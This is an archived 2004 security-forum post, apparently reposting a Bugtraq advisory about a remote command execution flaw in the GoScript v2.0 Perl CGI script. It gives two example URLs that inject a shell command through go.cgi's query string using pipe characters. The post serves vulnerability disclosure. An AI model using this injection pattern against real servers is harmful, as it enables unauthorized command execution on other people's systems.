hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Goscript Remote Command Execution
GovernmentSecurity.org > The Archives > Exploit Articles
qcred11
Aug 4 2004, 07:20 PM
QUOTE


Version verified: 2.0
Author: Pete Stein http://www.slack.net/~pete/perl

GoScript v2.0 allow remote commando execution as we can see below:

http://www.server.com/go.cgi?|id|
http://www.server.com/go.cgi?artarchive=|id|

May be possible another methods of attack!

Thanks :)

[Infektion Group]




Source: http://seclists.org/lists/bugtraq/2004/Aug/0038.html
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.